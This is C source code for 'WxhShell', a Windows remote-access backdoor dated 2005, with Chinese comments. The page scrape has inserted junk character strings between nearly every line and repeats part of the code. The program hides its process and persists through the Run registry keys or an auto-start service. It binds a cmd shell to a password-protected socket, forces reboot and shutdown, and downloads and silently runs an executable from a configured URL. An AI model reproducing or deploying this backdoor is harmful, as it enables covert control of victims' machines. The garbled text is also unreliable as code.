Kk static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +ZA)/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nu^p CqFeF?xd8h HANDLE hProcess; uSN"vpc4D PROCESS_BASIC_INFORMATION pbi; Nxk(mec" $6h*lT< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J;}3t! if(NULL == hInst ) return 0; ?Ik4 ~_>cM c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V.6)0fKZW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hJ*Ihwn| NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ObG=>WPJa j6S"UwJjp if (!NtQueryInformationProcess) return 0;
q0&$7GH4 G:IP? z] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y$b]7O if(!hProcess) return 0; `Ye8
Q5v"] 'T,c.Vj) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h|bT)!| w0w1PE-V= CloseHandle(hProcess); 6w|J-{2 kWhr1wR1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #%$28sxB if(hProcess==NULL) return 0; wL}l`fRB };,/0Fu HMODULE hMod; v.&>Ih/L char procName[255]; GZ3 ]N unsigned long cbNeeded; /,s[#J }Fa%%} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J?&l*_m;t V'G Ju CloseHandle(hProcess); ZmEEj-*7s DyO$P#~? if(strstr(procName,"services")) return 1; // 以服务启动 G2:%g( DinPxtT?a return 0; // 注册表启动 W),l } SA;#aj}rV Y?K{(szo ? // 主模块 d2N:^vvvR int StartWxhshell(LPSTR lpCmdLine) Vh|\ _~9 { A+getdr SOCKET wsl; 2;2}wM[ BOOL val=TRUE; -e*ZCwQ int port=0; ,7_4z]jK struct sockaddr_in door; h-#1U3d LP];x3 if(wscfg.ws_autoins) Install(); "V&I^YSc> k@dN$O%p port=atoi(lpCmdLine); 7f{=w,
U \ZI'|Ad if(port<=0) port=wscfg.ws_port; ;dR=tAf0$Q ?D`T7KSe~D WSADATA data; ?6^|ZtB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T,%j\0 W-efv if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n.}E5%qK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cbm\h/PXl door.sin_family = AF_INET; `aC){&AP( door.sin_addr.s_addr = inet_addr("127.0.0.1"); T;5r{{ door.sin_port = htons(port); #,d I$gY c; 2#,m^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YW/QC'_iC closesocket(wsl); Pe;Y1Qq>> return 1; 3qL>-%):* }
z4X}O
{
$za8"T*I if(listen(wsl,2) == INVALID_SOCKET) { oU*45B`" closesocket(wsl); m908jI_So return 1; v'!a\b`9 } N$>^g"6o Wxhshell(wsl); aj^wRzJ}zA WSACleanup(); S!v(+| <{5EdX return 0; _Q[$CcDEE s$D ^ >0 } 7*5Z
[* ?Awf` // 以NT服务方式启动 Z;/$niY VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K%v1xZ { \%]I{ DWORD status = 0; hrG M|_BE DWORD specificError = 0xfffffff; ~\LCvcY"X wMqX)}> serviceStatus.dwServiceType = SERVICE_WIN32; ?iI4x%y serviceStatus.dwCurrentState = SERVICE_START_PENDING; eqw0]U\pv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a`[uNgDO serviceStatus.dwWin32ExitCode = 0; a2'^8;U*_ serviceStatus.dwServiceSpecificExitCode = 0; VXLT^iX serviceStatus.dwCheckPoint = 0; d?`ny#,GB serviceStatus.dwWaitHint = 0; aE;le{|!({ scLn= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9RN-suE[ if (hServiceStatusHandle==0) return; (0YZZ93 SN7"7jo P< status = GetLastError(); SCvVt if (status!=NO_ERROR) N ,8/Y { /+Lfrt serviceStatus.dwCurrentState = SERVICE_STOPPED; AV9m_hZt serviceStatus.dwCheckPoint = 0; |KSy`lY-j> serviceStatus.dwWaitHint = 0; 1cS}J:0P serviceStatus.dwWin32ExitCode = status; 8>,jpAN}r serviceStatus.dwServiceSpecificExitCode = specificError; S"wR%\NIp SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7(5xL T$ return; 5[0
O'%$ } y{dTp = C4 serviceStatus.dwCurrentState = SERVICE_RUNNING; EkgE_8 serviceStatus.dwCheckPoint = 0; &e6CJ serviceStatus.dwWaitHint = 0; W`\R%>$H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C{gyj}5 } v\m ]A1 =R*qP ;# // 处理NT服务事件,比如:启动、停止 3)\8%Ox VOID WINAPI NTServiceHandler(DWORD fdwControl) MrZh09y { t2,A@2DU2 switch(fdwControl) P"B0_EuR<T { ):i&`}SY case SERVICE_CONTROL_STOP: CC#;c1t serviceStatus.dwWin32ExitCode = 0;
d
,4]VE serviceStatus.dwCurrentState = SERVICE_STOPPED; Ecd;<$tk serviceStatus.dwCheckPoint = 0; ,lZB96r0 serviceStatus.dwWaitHint = 0; ,Ax dCT { QUu}Xg: SetServiceStatus(hServiceStatusHandle, &serviceStatus); O8B\{T1 } &f^, la return; =-IbS}3 case SERVICE_CONTROL_PAUSE: tjupJ*Rt serviceStatus.dwCurrentState = SERVICE_PAUSED; Y.g59X!Ub2 break; J]nohICe case SERVICE_CONTROL_CONTINUE: uc;8 K,[t serviceStatus.dwCurrentState = SERVICE_RUNNING; n4}Br;% break; ?b(=1S\E'^ case SERVICE_CONTROL_INTERROGATE: !%"8|)CAr break; "jG}B.l=, }; G6T_O SetServiceStatus(hServiceStatusHandle, &serviceStatus); xuqv6b. } a)wJT`xu ,%uo6% // 标准应用程序主函数 ee yHy"@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1oc3$A { |&RU/ a N<~t3/Nm // 获取操作系统版本 28 ?\ OsIsNt=GetOsVer(); &l!4mxwr` GetModuleFileName(NULL,ExeFile,MAX_PATH); <YdE1{fm z^'gx@YD*v // 从命令行安装 S:h{2{ if(strpbrk(lpCmdLine,"iI")) Install(); ~`aa5;Ab_ .Y&)4+ckL // 下载执行文件 :Zlwp6 if(wscfg.ws_downexe) { ;M)QwF1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z6*X%6,8 WinExec(wscfg.ws_filenam,SW_HIDE); N@t|7~ } FoN|i"*l Tj:B!>> if(!OsIsNt) { R}O_[ // 如果时win9x,隐藏进程并且设置为注册表启动 $<}$DH_Y HideProc(); tfj:@Z5&$C StartWxhshell(lpCmdLine); Qk:Y2mL } 8fl`r~bqZ else wne,e's} if(StartFromService())
/;oX)]W // 以服务方式启动 "N`[r iq{ StartServiceCtrlDispatcher(DispatchTable); kqFP)!37 else wB.&}p9p // 普通方式启动 C{U?0!^ StartWxhshell(lpCmdLine); &5yVxL: H{Wu]C<@p return 0; E=nIRG|g } vSEuk}pk y*qVc E #d6)#:uss YNQY4\( =========================================== <0Xf9a8> \W~N E|iQc8gr& F(>Np2oi6 1*\o. h2G$@8t}I " Q+[n91ey**
YtmrRDQs #include <stdio.h> GPN]9 #include <string.h> Fld=5B^} #include <windows.h> AE[b},-[ #include <winsock2.h> JRB9rSN^ #include <winsvc.h> l3)}qu #include <urlmon.h> oKuI0-*mR "&Y`+ 0S8 #pragma comment (lib, "Ws2_32.lib") k>;`FFQU> #pragma comment (lib, "urlmon.lib") HiZ*+T.B G?O1>?4C #define MAX_USER 100 // 最大客户端连接数 nT7%j{e=L #define BUF_SOCK 200 // sock buffer r>>%2Z-P #define KEY_BUFF 255 // 输入 buffer T&6l$1J <M+|rD]oc #define REBOOT 0 // 重启 |-:()yxs #define SHUTDOWN 1 // 关机 GS$ifv CsGx@\jN #define DEF_PORT 5000 // 监听端口 v[1aWv: !>FYK}c7 #define REG_LEN 16 // 注册表键长度 xi~?>f #define SVC_LEN 80 // NT服务名长度 >qnko9 V wW>A_{Y // 从dll定义API d;boIP`M; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s6 uG`F" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LSL/ZvSP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
akp-zn&je typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =$'6(aDH f6hnTbJ // wxhshell配置信息 ldU?{o:\s struct WSCFG { h4fJvOk|! int ws_port; // 监听端口 p`olCp' char ws_passstr[REG_LEN]; // 口令 y0L_"e/ int ws_autoins; // 安装标记, 1=yes 0=no c"f-3kFv char ws_regname[REG_LEN]; // 注册表键名 6'k<+IR char ws_svcname[REG_LEN]; // 服务名 bRFLcM char ws_svcdisp[SVC_LEN]; // 服务显示名 y%"{I7!A char ws_svcdesc[SVC_LEN]; // 服务描述信息 DX#Nf""Pw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mE+*)gb:Rd int ws_downexe; // 下载执行标记, 1=yes 0=no ~Y^+M* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" igCZ|Ru\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ 2M_\Q`NY rBQ _iB_ }; 0q()|y?} ^O?/yV?4c // default Wxhshell configuration !|S(Ms struct WSCFG wscfg={DEF_PORT, 8W*%aOi5+ "xuhuanlingzhe", =W(Q34 1, n\mO6aJ "Wxhshell", I9|mG' "Wxhshell", W!Gq.M
"WxhShell Service", V(H1q`ao9 "Wrsky Windows CmdShell Service", o_izl\ "Please Input Your Password: ", XWBA^|-N 1, 9}rS(/@
} "http://www.wrsky.com/wxhshell.exe", 5TH~.^`Fi "Wxhshell.exe" *7uH-u"5d }; ZF!h<h&, 9 P l // 消息定义模块 Kn5~d(: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NVkV7y X] char *msg_ws_prompt="\n\r? for help\n\r#>"; `KZm0d{H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5'OrHk;u char *msg_ws_ext="\n\rExit."; G30-^Tr char *msg_ws_end="\n\rQuit."; 8I =2lK char *msg_ws_boot="\n\rReboot..."; Ouk^O}W6 char *msg_ws_poff="\n\rShutdown...";
Vr3Zu{&2 char *msg_ws_down="\n\rSave to "; KjD/o?JUr x[
SDl(<@; char *msg_ws_err="\n\rErr!"; 7`*h2 mgY char *msg_ws_ok="\n\rOK!"; ROH|PKb7 =Qy<GeY char ExeFile[MAX_PATH]; \j$&DCv int nUser = 0; "{A(x
}'Y4 HANDLE handles[MAX_USER]; yuh * int OsIsNt; <$D`Z-6 sA+ }TNhq SERVICE_STATUS serviceStatus; /:cd\A} SERVICE_STATUS_HANDLE hServiceStatusHandle; g@d*\ P) {i;r // 函数声明 9)l$ aBa int Install(void); #|uCgdi int Uninstall(void); )HEa<P^kJl int DownloadFile(char *sURL, SOCKET wsh); U7?;UCmX int Boot(int flag); #]\Uk,mhZB void HideProc(void); ^
gdaa>L int GetOsVer(void); )*u8/U int Wxhshell(SOCKET wsl); tj' \tW+s' void TalkWithClient(void *cs); on4HKeO int CmdShell(SOCKET sock); iDpSj!x/_ int StartFromService(void); mVj9 ,q0 int StartWxhshell(LPSTR lpCmdLine); ./\@Km? 2R[:]-b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sU=H&D99 VOID WINAPI NTServiceHandler( DWORD fdwControl ); D(~U6SR y\/1/WjBn // 数据结构和表定义 ))qy;Q, SERVICE_TABLE_ENTRY DispatchTable[] = x`mG<Yt { oh4E7yN {wscfg.ws_svcname, NTServiceMain}, p'Y^X {NULL, NULL} })'B<vq }; ,V7nzhA2 M`0V~P`^ // 自我安装 %aP!hy int Install(void) 0-B5`=yU { 9=s<Ld char svExeFile[MAX_PATH]; 4j* HKEY key; u2tfF strcpy(svExeFile,ExeFile); lqy Qf$t y#`tgJ: // 如果是win9x系统,修改注册表设为自启动 qv-8)MSr if(!OsIsNt) { m&d|t>3< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @="Pn5<]C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F/]2G^- RegCloseKey(key);
\__i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kpuz]a7pK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :@yEQ#nFp RegCloseKey(key); Jx:Y-$ return 0; A@`}c,G } L7l
FtX+b } kj Jn2c:y } Z*F3G#A else { ::`HQ@^ 9p]QM)M // 如果是NT以上系统,安装为系统服务 HVRZ[Y<^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s9mx if (schSCManager!=0) 7 W5@TWM { jVi) Efy SC_HANDLE schService = CreateService VG5i{1
0 ( _YRFet[,m schSCManager, z 'Hw wscfg.ws_svcname, ;[ZEDF5H wscfg.ws_svcdisp, j;zM{qu_ SERVICE_ALL_ACCESS, xR~hwj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ibcRU y0% SERVICE_AUTO_START, 0S"mVZ*P SERVICE_ERROR_NORMAL, hDDn,uzpd svExeFile, dRYqr}!%n NULL, fuW\bo3 NULL, 3<Lx&p~%T NULL, 6XxvvMA97 NULL, y
RqL9t NULL RbB.q p ); _;"il%l=1 if (schService!=0) #mxPw { PI {bmZ CloseServiceHandle(schService); }{Pp]*I<A CloseServiceHandle(schSCManager); ./Xz}<($8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ROI7eU strcat(svExeFile,wscfg.ws_svcname); "Bkfoi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %UrueMEO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g _9C* RegCloseKey(key); v&\Q8!r_
return 0; w7L{_aom } \
#F } +Ze}B*0 CloseServiceHandle(schSCManager); hPkp;a # } =IZT(8 } ,)cM3nu E_rI?t^ return 1; Fe*R } &u."A3( `v!urE/gg% // 自我卸载 %@b0[ZC int Uninstall(void) gjyYCjF { P\tB~SZ* HKEY key; >58YjLXb [>I<#_^~ if(!OsIsNt) { +fB5w?Rg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LH.]DVj RegDeleteValue(key,wscfg.ws_regname); uh0VFL*@ RegCloseKey(key); ;?Tbnn Wn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LVM%"sd? RegDeleteValue(key,wscfg.ws_regname); n`_{9R RegCloseKey(key); ~7w"nIs<c return 0; ,_ H:J.ik } mthA4sz } n&4N[Qlv, } C}j"Qi` else { XX TL.. K!%+0)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #lo6c;*m5 if (schSCManager!=0) KfEx"94 { Y1\ }5k{> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NG=-NxEcN if (schService!=0) :`#d:.@]o@ { QO:!p5^: if(DeleteService(schService)!=0) { /{J4:N'B> CloseServiceHandle(schService); rBzuKQK}J CloseServiceHandle(schSCManager); rgQOj^xKv^ return 0; ,2oWWsC7 } C3f' {} CloseServiceHandle(schService); ! I:%0D } df +l%9@ CloseServiceHandle(schSCManager); )r?}P1J7 } KZY}%il!` } _yx>TE2e VT)oLj/A return 1; \.{$11P# } _Ay9p[l R%WCH?B<} // 从指定url下载文件 r|8d
4 int DownloadFile(char *sURL, SOCKET wsh) cl3K<'D { a.\:T,cP> HRESULT hr; 3ZPWze6 char seps[]= "/"; jRlYU`? char *token; 7aRi5 char *file; !*&V-4 char myURL[MAX_PATH]; ?p{Nwl# char myFILE[MAX_PATH]; y14;%aQN Y] _ruDIW strcpy(myURL,sURL); 1-uxC^u?|# token=strtok(myURL,seps); m9WDT while(token!=NULL) &ywPuTt { 2zA4vZkbcw file=token; s c,Hq\$& token=strtok(NULL,seps); 4Z=_,#h4. } (,\+tr8r8 `?rSlR@+[I GetCurrentDirectory(MAX_PATH,myFILE); U}[d_f strcat(myFILE, "\\"); NNR`!Pty strcat(myFILE, file); |s(FLF - send(wsh,myFILE,strlen(myFILE),0); W\,s:6iqz send(wsh,"...",3,0); nHAS( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {]!mrAjD if(hr==S_OK) i#/Jr= return 0; {lDd.Fn else 2]jn '4 return 1; Sv#XIMw{, XEp{VC@= } ]cWUZ{puRB 4he GnMD // 系统电源模块 {6|G@""O int Boot(int flag) %XDc,AR[ { HZB>{O HANDLE hToken; 'F3f+YD TOKEN_PRIVILEGES tkp; aiUY>M#| TER=*"! if(OsIsNt) { /9*B)m" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $9#H04.x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (`>+zT5aH tkp.PrivilegeCount = 1; z,
)6"/; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7kLz[N6Ll AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6vo;!V6 if(flag==REBOOT) { }OR@~V{Gj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %nZo4hnr$r return 0; 6I4\q.^qw } ]@c+]{ else { A RuA<vQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y_IF;V\ return 0; sqwGsO$# } jXx<`I+] } 4r#= * else { 85$m[+md if(flag==REBOOT) { dr}`H,X"3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x,+{9 return 0; S~bOUdV
Z } .t-4o<7 3 else { TDKki(o=~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BLdvyVFx return 0; ]i)c{y } $y &E(J } BwGfTua (O?.)jEW(. return 1; d#Y^>"|$. } faX#**r X1|njJGO1 // win9x进程隐藏模块 Jb@V}Ul$ void HideProc(void) Lc,Pom { *b}HNX| ;O6;.5q& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Nn)m if ( hKernel != NULL ) RDi]2 { o Q2Fjj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `Bp.RXsd* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pb4X\9^ FreeLibrary(hKernel); M61xPq8y5 } =pO^7g $E~`\o%Ev return; m|n%$$S& } X,_2FJv cWaSn7p !X // 获取操作系统版本 I\{ 1u int GetOsVer(void) XGWSdPJLr { 9'giU r OSVERSIONINFO winfo; W=><)miQ@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @7]yl&LZ GetVersionEx(&winfo); oy=js - if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1\~ "VF*{ return 1; ?
7n`A >T else =_2jK0+}l return 0; ,t?B+$E } k 8[n+^ rC% *$g $ // 客户端句柄模块 4N_R:B-Vu int Wxhshell(SOCKET wsl) [)M%cyQ { +H-6e P SOCKET wsh; 9G#n 0&wRJ struct sockaddr_in client; DDP/DD;n}r DWORD myID; xd?f2=dd~h W)2p@j59A while(nUser<MAX_USER) b9J_1Gl] { ]"hFC<w int nSize=sizeof(client); OJuG~euy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wj^3N7_:w if(wsh==INVALID_SOCKET) return 1; V)HG(k kR-SE5`Jk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nho>f if(handles[nUser]==0) L^2%1GfE{ closesocket(wsh); #ym'AN else fI}to&qk nUser++; -`kW&I0 } W0@n/U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vXf!G`D feDlH[$ return 0; t7Iv?5]N } HZC"nb}r4 |!3DPA(_ // 关闭 socket 4i azNl# void CloseIt(SOCKET wsh) w!-gJmX> { O|{d[eX closesocket(wsh); F3@phu${ nUser--; {OkV%Q< ExitThread(0); pYZmz } .+3g*Dv{& ?W?c1> // 客户端请求句柄 df4A RP+ void TalkWithClient(void *cs)
F2LLN { :Uzm
M#4pE_G SOCKET wsh=(SOCKET)cs; )9{0]u;9 char pwd[SVC_LEN]; !*dI|k char cmd[KEY_BUFF]; d9fC<Tp char chr[1]; XH 4 int i,j; %+W{iu[| fP
1[[3i while (nUser < MAX_USER) { }(J}f) ; ; OAQ` if(wscfg.ws_passstr) { O>bC2;+s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X1x#6
oi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h6D<go-b56 //ZeroMemory(pwd,KEY_BUFF); TCwFPlF| i=0; o4F2%0gJ while(i<SVC_LEN) { +s,=lL =vCY?I$P // 设置超时 zII|9y fd_set FdRead; )hn6sXo+ struct timeval TimeOut; u^+7hkk FD_ZERO(&FdRead); DZ'P@f)] FD_SET(wsh,&FdRead); {0Yf]FQb-a TimeOut.tv_sec=8; ,Bi.1
%$ TimeOut.tv_usec=0; dC3o9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z*]9E^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vAF
"n <sGVR5NR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Db}j?ik/ pwd=chr[0]; ;40/yl3r3[ if(chr[0]==0xd || chr[0]==0xa) { Fx_z 6a pwd=0; r"3=44St break; Pe_W;q. } )np:lL$$ i++; :1.L}4"gg } shy-Gu& v!-/&}W)1 // 如果是非法用户,关闭 socket 36&e.3/# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [[Ls_ZL!= } F3[T.sf ^+>laOzC`8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .GPT!lDc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2+N]PW\V j?3wvw6T while(1) { T"}5}6rSG XSwl Tg ZeroMemory(cmd,KEY_BUFF); g#pr yYz [\98$BN // 自动支持客户端 telnet标准 E!)xj.aS$ j=0; (&Kk7<#` while(j<KEY_BUFF) { 5FPM`hLT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B?gOHG*vd> cmd[j]=chr[0]; MO]F1E?X if(chr[0]==0xa || chr[0]==0xd) { 6RU~"C cmd[j]=0; #>("CAB02T break; ~|DUt } UawyDs j++; 9IdA%RM~mH } \$~|ZwV{ $t'MSlF // 下载文件 y4
#>X if(strstr(cmd,"http://")) { T@H^BGs send(wsh,msg_ws_down,strlen(msg_ws_down),0); vFzRg5lH if(DownloadFile(cmd,wsh)) ^qvZXb send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}z<Fdu0 else hn7#
L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~f&E7su-6+ } a_^\=&?' else { /Vx7mF: HYD'.uj switch(cmd[0]) { B-Ll{k^ s0TORl6Z| // 帮助 : %_LpZ case '?': { ;IvY^(YS@; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8rAg\H3E break; ,\W 8b-Z } -lr
vKrt7 // 安装 ]!W=^! case 'i': { A_"w^E{P if(Install()) &)#
ihK_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); niMsQ else ;0]aq0_#( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xk9%F?) break; 5 Aw"B } ;RZ ) // 卸载 Di,^% case 'r': { P8OaoPj if(Uninstall()) M~Tuj1? send(wsh,msg_ws_err,strlen(msg_ws_err),0); \S `:y?[Y else \}yc`7T:L0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=HA Y break; B{n,t}z } D=A&+6B@- // 显示 wxhshell 所在路径 jKz$@gP case 'p': { y>8sZuH0 char svExeFile[MAX_PATH]; nSDMOyj+ strcpy(svExeFile,"\n\r"); p#ZCvPE;uH strcat(svExeFile,ExeFile); CCs%%U/= send(wsh,svExeFile,strlen(svExeFile),0); $8)+XmsCr break; :I.mGH!^ } (U DnsF // 重启 Y Vt% 0 case 'b': { rK8lBy:< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XW2b| %T if(Boot(REBOOT)) ol\Utq, send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Bj\W'V&p else { <)C#_w)- closesocket(wsh); np|Sy;: ExitThread(0); M><yGaaX/ } `$Y.Y5mGtJ break; &~cBNw| } WMDl=6 // 关机 g i3F`
m case 'd': { rET\n(AJ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @W.S6;GA\ if(Boot(SHUTDOWN)) <q58uuK send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^`i#$ else { ^x ]r`b closesocket(wsh); (q/e1L-S ExitThread(0); B9 _X;c } !NK1MU?T) break; ~Py`P'+ } ;DQ ZT // 获取shell A7{\</Z case 's': { P_^ +A CmdShell(wsh); L?b~k= closesocket(wsh); w?PkO p ExitThread(0); Qab>|eSm break; Ve$o}h- } #"6Qj'/h // 退出 tH@Erh|% case 'x': { )EPjAv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q~F| CloseIt(wsh); 5;Czu(iH$ break; nQZx=JK } +%z>H"J. // 离开 Hzm:xg case 'q': { @,j*wnR send(wsh,msg_ws_end,strlen(msg_ws_end),0); @f>-^ closesocket(wsh); '`[&}R WSACleanup(); oi7@s0@ exit(1); E:_ZA break; nt;m+by } 3)wN))VBX } b<[Or^X
] } *uRBzO} k!j5tsiR // 提示信息 ^]Y>[[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 20h}
[Q( } 4&lv6`G ` } D(op)]8 GRIti9GD return; [T4J{y64Y } )2KF}{ S&5&];Ag // shell模块句柄 H\" sgoJ int CmdShell(SOCKET sock) [o#oak{U { qCC.^8 STARTUPINFO si; h]&GLb&<? ZeroMemory(&si,sizeof(si)); wD}l$& + si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .&iawz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a#(?P.6 PROCESS_INFORMATION ProcessInfo; 23eX;gL char cmdline[]="cmd"; m#Jmdb_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |)DGkOtd return 0; Xh"n]TK } =+-UJo5 [ZwjOi:) // 自身启动模式 tmYz R%i int StartFromService(void) y3Qsv { ha<[bu e typedef struct 1Faf$J~7| { QD&`^(X1p DWORD ExitStatus; u(.e8~s8 DWORD PebBaseAddress; B2vh-%63 DWORD AffinityMask; z=\&i\>;Z+ DWORD BasePriority; :A_@,Q ULONG UniqueProcessId; vkV0On ULONG InheritedFromUniqueProcessId; WM$
MPs } PROCESS_BASIC_INFORMATION; 2DDtu[} nsC3 PROCNTQSIP NtQueryInformationProcess; Xf]d. :
@tnz]^V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K:[F%e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; epe)a CI0C1/:@ HANDLE hProcess; @CL{D:d PROCESS_BASIC_INFORMATION pbi; Y;M|D'y+ 1z4OI6$Af HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BsDn5\q if(NULL == hInst ) return 0; B)g[3gQ [=q1T3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {*" |#6- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1W
LXM^4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !sP{gi#= wH&!W~M
